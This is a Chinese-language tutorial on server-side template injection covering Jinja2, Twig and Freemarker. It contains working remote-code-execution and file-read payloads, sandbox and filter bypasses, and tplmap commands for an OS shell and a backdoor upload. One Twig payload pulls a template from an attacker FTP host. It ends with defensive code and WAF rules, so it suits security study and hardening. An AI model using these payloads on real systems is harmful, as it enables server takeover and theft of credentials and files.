前言
Server-Side Template Injection(SSTI)是一種發生在伺服器端模板引擎的注入攻擊。當應用程式將使用者輸入直接嵌入模板中而未經適當處理時,攻擊者可以注入惡意的模板指令,進而在伺服器端執行任意程式碼。這種漏洞的嚴重性通常被低估,但實際上它往往能導致遠端程式碼執行(RCE),造成整個伺服器被攻陷。
1. SSTI 漏洞原理
什麼是模板引擎?
模板引擎是一種將預定義模板與資料結合,動態生成 HTML、Email 或其他文字格式的工具。常見的模板引擎包括:
- Python: Jinja2、Mako、Tornado
- Java: Freemarker、Velocity、Thymeleaf
- PHP: Twig、Smarty、Blade
- JavaScript: Pug、EJS、Handlebars
- Ruby: ERB、Slim
漏洞成因
當開發者將使用者可控的輸入直接拼接到模板字串中時,就會產生 SSTI 漏洞。
安全的做法(資料作為參數傳遞):
1
2
3
4
5
6
7
8
9
| from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name', 'World')
template = "Hello, {{ name }}!"
return render_template_string(template, name=name)
|
危險的做法(直接拼接使用者輸入):
1
2
3
4
5
6
7
8
9
| from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/hello')
def hello():
name = request.args.get('name', 'World')
template = f"Hello, {name}!" # 危險!使用者輸入直接嵌入模板
return render_template_string(template)
|
在危險的情況下,如果使用者輸入 {{7*7}},模板引擎會將其解析並執行,返回 Hello, 49!。
2. 常見模板引擎識別
識別流程圖
要成功利用 SSTI,首先需要識別目標使用的模板引擎。以下是常用的識別方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| ${7*7}
│
┌──────────┴──────────┐
│ │
49 ${7*7}
│ │
┌────┴────┐ {{7*7}}
│ │ │
a]b}7*7} ${7*7} ┌───────┴───────┐
│ │ │ │
Smarty Mako 49 {{7*7}}
Java │ │
{{7*'7'}} {{7*'7'}}
│ │
┌──────┴──────┐ ┌──────┴──────┐
│ │ │ │
7777777 49 7777777 未知
│ │ │
Jinja2 Twig Jinja2
|
常用測試 Payload
| 模板引擎 | 測試 Payload | 預期結果 |
|---|
| Jinja2 | {{7*7}} | 49 |
| Jinja2 | {{7*'7'}} | 7777777 |
| Twig | {{7*7}} | 49 |
| Twig | {{7*'7'}} | 49 |
| Freemarker | ${7*7} | 49 |
| Freemarker | #{7*7} | 49 |
| Velocity | #set($x=7*7)$x | 49 |
| Smarty | {$smarty.version} | 版本號 |
| Mako | ${7*7} | 49 |
| ERB | <%= 7*7 %> | 49 |
| Pug | #{7*7} | 49 |
自動識別工具
使用 tplmap 工具可以自動識別模板引擎:
1
2
3
4
5
6
| # 安裝 tplmap
git clone https://github.com/epinna/tplmap.git
cd tplmap
# 執行識別
python tplmap.py -u "http://target.com/page?name=test"
|
3. Jinja2 SSTI 利用
Jinja2 是 Python 生態系中最廣泛使用的模板引擎,特別是在 Flask 框架中。
基本資訊洩露
1
2
3
4
5
6
7
8
9
| # 存取配置資訊
{{config}}
{{config.items()}}
# 存取環境變數
{{request.environ}}
# 存取應用程式 secret key
{{config['SECRET_KEY']}}
|
利用 Python 類別繼承鏈
Jinja2 SSTI 的核心利用思路是透過 Python 的類別繼承機制,從基礎物件一路存取到危險的類別(如 os、subprocess 等)。
步驟一:獲取基礎物件類別
1
2
3
4
5
| # 從空字串取得 object 類別
{{''.__class__.__mro__[1]}}
# 或使用
{{''.__class__.__base__}}
|
步驟二:列出所有子類別
1
| {{''.__class__.__mro__[1].__subclasses__()}}
|
步驟三:尋找可利用的類別
常見的目標類別包括:
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 尋找 os._wrap_close(可以存取 os 模組)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == '_wrap_close' %}
{{c.__init__.__globals__['popen']('id').read()}}
{% endif %}
{% endfor %}
# 尋找 warnings.catch_warnings
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{% endif %}
{% endfor %}
|
常用 RCE Payload
方法一:使用 os 模組
1
| {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()}}
|
其中 X 需要根據環境找到正確的索引值。
方法二:使用 subprocess
1
| {{''.__class__.__mro__[1].__subclasses__()[X]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}
|
方法三:使用 builtins
1
| {{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
|
方法四:直接讀取檔案
1
2
3
4
5
| # 使用 file 物件(Python 2)
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
# 使用 open(透過 __builtins__)
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
|
自動化尋找可利用類別
以下 Python 腳本可以幫助找到可利用的類別索引:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| #!/usr/bin/env python3
import requests
url = "http://target.com/vulnerable?name="
# 獲取子類別列表
payload = "{{''.__class__.__mro__[1].__subclasses__()}}"
response = requests.get(url + payload)
subclasses = response.text
# 尋找有用的類別
useful_classes = ['os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings']
for idx, cls in enumerate(subclasses.split(',')):
for target in useful_classes:
if target in cls:
print(f"Found {target} at index {idx}")
|
4. Twig SSTI 利用
Twig 是 PHP 中最流行的模板引擎之一,常用於 Symfony 框架。
基本測試
1
2
3
4
| {{7*7}}
{{7*'7'}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
|
資訊洩露
1
2
3
4
5
6
7
8
9
| # 顯示環境變數
{{_self.env.display({'test':'value'})}}
# 存取請求資訊
{{app.request.request.all}}
{{app.request.server.get('DOCUMENT_ROOT')}}
# 顯示 Twig 環境
{{_self.env}}
|
RCE 利用(Twig < 1.20)
在舊版本的 Twig 中,可以使用 _self.env 物件:
1
| {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
或者:
1
| {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
|
RCE 利用(Twig 1.x)
1
| {{_self.env.setCache("ftp://attacker.com:21")}}{{_self.env.loadTemplate("backdoor")}}
|
RCE 利用(Twig 2.x / 3.x)
較新版本的 Twig 增加了安全限制,但仍可能透過以下方式利用:
1
2
3
4
5
6
7
8
9
10
11
12
| # 使用 filter
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
# 使用 map
{{['id']|map('system')}}
# 使用 reduce
{{[0,0]|reduce('system','id')}}
# 使用 sort
{{['id',0]|sort('system')}}
|
檔案讀取
1
2
3
4
5
| # 讀取檔案
{{"/etc/passwd"|file_excerpt(1,30)}}
# 使用 source
{{source('/etc/passwd')}}
|
5. Freemarker SSTI 利用
Freemarker 是 Java 生態系中常用的模板引擎,經常在 Spring 框架中使用。
基本測試
1
2
3
| ${7*7}
#{7*7}
${product.name}
|
資訊洩露
1
2
3
4
5
6
7
8
| # 顯示類別資訊
${.data_model}
${.globals}
${.locale}
${.version}
# 獲取類別載入器
${"freemarker.template.utility.Execute"?new()}
|
RCE 利用方法一:使用 Execute
1
| <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
|
這是最常見且最直接的 RCE 方法。
RCE 利用方法二:使用 ObjectConstructor
1
2
3
4
5
6
7
8
9
| <#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder",["id"]).start().getInputStream()))>
<#list 1..10000 as _>
<#assign line=br.readLine()!>
<#if line?has_content>
${line}
</#if>
</#list>
|
RCE 利用方法三:使用 JythonRuntime
1
2
3
4
5
| <#assign jr="freemarker.template.utility.JythonRuntime"?new()>
<@jr>
import os
os.system("id")
</@jr>
|
檔案讀取
1
2
3
4
5
6
7
| <#assign file=object("java.io.File", "/etc/passwd")>
<#assign br=object("java.io.BufferedReader", object("java.io.FileReader", file))>
<#list 1..9999 as _>
<#if br.ready()>
${br.readLine()}<br>
</#if>
</#list>
|
Freemarker 沙箱繞過
某些情況下,Freemarker 會配置沙箱來限制危險操作。以下是一些繞過技術:
1
2
3
4
5
6
| # 使用 API 內建函數(需要 Freemarker 2.3.22+)
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.utility.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
|
6. 繞過技術與沙箱逃逸
常見過濾繞過
繞過關鍵字過濾
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # 使用字串拼接
{{'__cla'+'ss__'}}
# 使用 attr 過濾器
{{''|attr('__class__')}}
# 使用 getattr
{{''.__getattribute__('__class__')}}
# 使用十六進位編碼
{{''['\x5f\x5fclass\x5f\x5f']}}
# 使用 request 物件
{{request['__cl'+'ass__']}}
|
繞過雙大括號過濾
1
2
3
4
5
| # 使用 {% %} 語句
{% print(7*7) %}
# 使用 {# #} 註解結合注入
{%- if True -%}49{%- endif -%}
|
繞過點號過濾
1
2
3
4
5
| # 使用中括號存取屬性
{{''['__class__']['__mro__'][1]}}
# 使用 attr 過濾器
{{''|attr('__class__')|attr('__mro__')}}
|
繞過底線過濾
1
2
3
4
5
6
7
8
9
| # 使用 request 取得底線
{{()|attr(request.args.a)|attr(request.args.b)}}
# URL: ?a=__class__&b=__mro__
# 使用編碼
{{''['\x5f\x5fclass\x5f\x5f']}}
# 使用 Unicode
{{''["\u005f\u005fclass\u005f\u005f"]}}
|
Jinja2 沙箱逃逸
使用 lipsum 物件
1
| {{lipsum.__globals__['os'].popen('id').read()}}
|
使用 cycler 物件
1
| {{cycler.__init__.__globals__.os.popen('id').read()}}
|
使用 joiner 物件
1
| {{joiner.__init__.__globals__.os.popen('id').read()}}
|
使用 namespace 物件
1
| {{namespace.__init__.__globals__.os.popen('id').read()}}
|
進階繞過技術
使用 dict 取得類別
1
| {{dict.__base__.__subclasses__()}}
|
使用 config 物件
1
| {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
|
使用 self 物件
1
| {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
7. 測試方法與工具
手動測試流程
- 識別注入點:尋找會反映使用者輸入的頁面
- 測試模板語法:嘗試各種模板引擎的基本語法
- 確認模板引擎:根據回應判斷使用的引擎
- 構建 Payload:根據引擎特性構建攻擊 Payload
- 實現 RCE:嘗試執行系統命令
常用測試 Payload 清單
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # 通用測試
${{7*7}}
{{7*7}}
#{7*7}
<%= 7*7 %>
${7*7}
${{7*7}}
{{constructor.constructor('return 7*7')()}}
{{7*'7'}}
# 錯誤觸發
{{invalid
${{invalid
#{invalid
<%= invalid
|
自動化工具
Tplmap
Tplmap 是專門用於 SSTI 漏洞檢測和利用的工具:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # 基本使用
python tplmap.py -u "http://target.com/page?name=test"
# 指定 POST 資料
python tplmap.py -u "http://target.com/page" -d "name=test"
# 使用 Cookie
python tplmap.py -u "http://target.com/page?name=test" -c "session=abc123"
# 執行系統命令
python tplmap.py -u "http://target.com/page?name=test" --os-shell
# 讀取檔案
python tplmap.py -u "http://target.com/page?name=test" --download /etc/passwd output.txt
# 上傳檔案
python tplmap.py -u "http://target.com/page?name=test" --upload backdoor.php /var/www/html/
|
SSTImap
SSTImap 是 Tplmap 的增強版本:
1
2
3
4
5
6
7
8
9
10
11
| # 安裝
pip install sstimap
# 基本掃描
sstimap -u "http://target.com/page?name=test"
# 互動式 Shell
sstimap -u "http://target.com/page?name=test" -s
# 執行命令
sstimap -u "http://target.com/page?name=test" -c "id"
|
Burp Suite 擴充套件
- Backslash Powered Scanner:自動檢測各種注入漏洞
- J2EE Scan:專門針對 Java 應用程式的掃描器
- Tplmap Burp Extension:Tplmap 的 Burp 整合版
Nuclei Templates
使用 Nuclei 進行批次掃描:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| # ssti-detection.yaml
id: ssti-detection
info:
name: SSTI Detection
author: security-researcher
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}?name={{7*7}}"
- "{{BaseURL}}?name=${{7*7}}"
- "{{BaseURL}}?name=#{7*7}"
matchers:
- type: word
words:
- "49"
|
執行掃描:
1
| nuclei -u http://target.com -t ssti-detection.yaml
|
8. 防禦措施
安全開發實踐
1. 使用安全的模板渲染方式
永遠將使用者輸入作為資料傳遞,而非嵌入模板:
1
2
3
4
5
6
7
8
| # 正確做法
@app.route('/hello')
def hello():
name = request.args.get('name', 'World')
return render_template('hello.html', name=name)
# hello.html
<h1>Hello, {{ name }}!</h1>
|
2. 輸入驗證與清理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| import re
def sanitize_input(user_input):
# 移除可能的模板語法
dangerous_patterns = [
r'\{\{.*\}\}',
r'\{%.*%\}',
r'\$\{.*\}',
r'#\{.*\}',
]
for pattern in dangerous_patterns:
if re.search(pattern, user_input):
raise ValueError("Invalid input detected")
return user_input
|
3. 使用沙箱環境
Jinja2 提供沙箱環境來限制模板的能力:
1
2
3
4
5
| from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello, {{ name }}!")
result = template.render(name=user_input)
|
4. 配置模板引擎安全選項
Freemarker 安全配置:
1
2
3
| Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false);
|
Twig 安全配置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| $twig = new \Twig\Environment($loader, [
'autoescape' => 'html',
'strict_variables' => true,
]);
// 禁用危險函數
$policy = new \Twig\Sandbox\SecurityPolicy(
[], // 允許的標籤
[], // 允許的過濾器
[], // 允許的方法
[], // 允許的屬性
[] // 允許的函數
);
$sandbox = new \Twig\Extension\SandboxExtension($policy, true);
$twig->addExtension($sandbox);
|
安全架構建議
1. 最小權限原則
確保 Web 應用程式以最低權限執行:
1
2
3
4
5
6
| # 建立專用使用者
useradd -r -s /bin/false webapp
# 設定適當的檔案權限
chown -R webapp:webapp /var/www/app
chmod -R 750 /var/www/app
|
2. 網路隔離
- 將應用程式伺服器放置在 DMZ
- 限制對內部網路的存取
- 使用 WAF 過濾惡意請求
3. 監控與日誌
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| import logging
logging.basicConfig(level=logging.WARNING)
logger = logging.getLogger(__name__)
def render_template_safely(template_string, **kwargs):
# 記錄模板渲染請求
logger.info(f"Rendering template with context: {kwargs.keys()}")
# 檢測可疑模式
suspicious_patterns = ['__class__', '__mro__', '__globals__']
for key, value in kwargs.items():
if isinstance(value, str):
for pattern in suspicious_patterns:
if pattern in value:
logger.warning(f"Suspicious pattern detected in {key}: {pattern}")
raise SecurityException("Potential SSTI attack detected")
return render_template_string(template_string, **kwargs)
|
WAF 規則範例
ModSecurity 規則
1
2
3
4
5
6
7
8
9
| # 阻擋常見 SSTI Payload
SecRule ARGS|ARGS_NAMES "@rx \{\{.*\}\}" \
"id:100001,phase:2,deny,status:403,msg:'Potential Jinja2 SSTI'"
SecRule ARGS|ARGS_NAMES "@rx \$\{.*\}" \
"id:100002,phase:2,deny,status:403,msg:'Potential Freemarker SSTI'"
SecRule ARGS|ARGS_NAMES "@rx __class__|__mro__|__globals__|__builtins__" \
"id:100003,phase:2,deny,status:403,msg:'Python object traversal detected'"
|
Nginx 配置
1
2
3
4
5
6
7
8
| # 阻擋可疑請求
if ($request_uri ~* "(\{\{|\}\}|\$\{|\%7B\%7B|\%7D\%7D)") {
return 403;
}
if ($args ~* "(__class__|__mro__|__globals__|__builtins__)") {
return 403;
}
|
總結
Server-Side Template Injection 是一種高風險的安全漏洞,往往能導致完整的遠端程式碼執行。作為滲透測試人員,理解各種模板引擎的特性和利用技術是必要的;作為開發人員,遵循安全的開發實踐是防止此類漏洞的關鍵。
關鍵要點
- 永遠不要將使用者輸入直接嵌入模板字串
- 使用資料綁定的方式傳遞變數給模板
- 啟用沙箱模式限制模板的執行能力
- 定期更新模板引擎至最新版本
- 實施 WAF 規則作為額外的防護層
- 進行安全測試確保應用程式不受 SSTI 影響
參考資源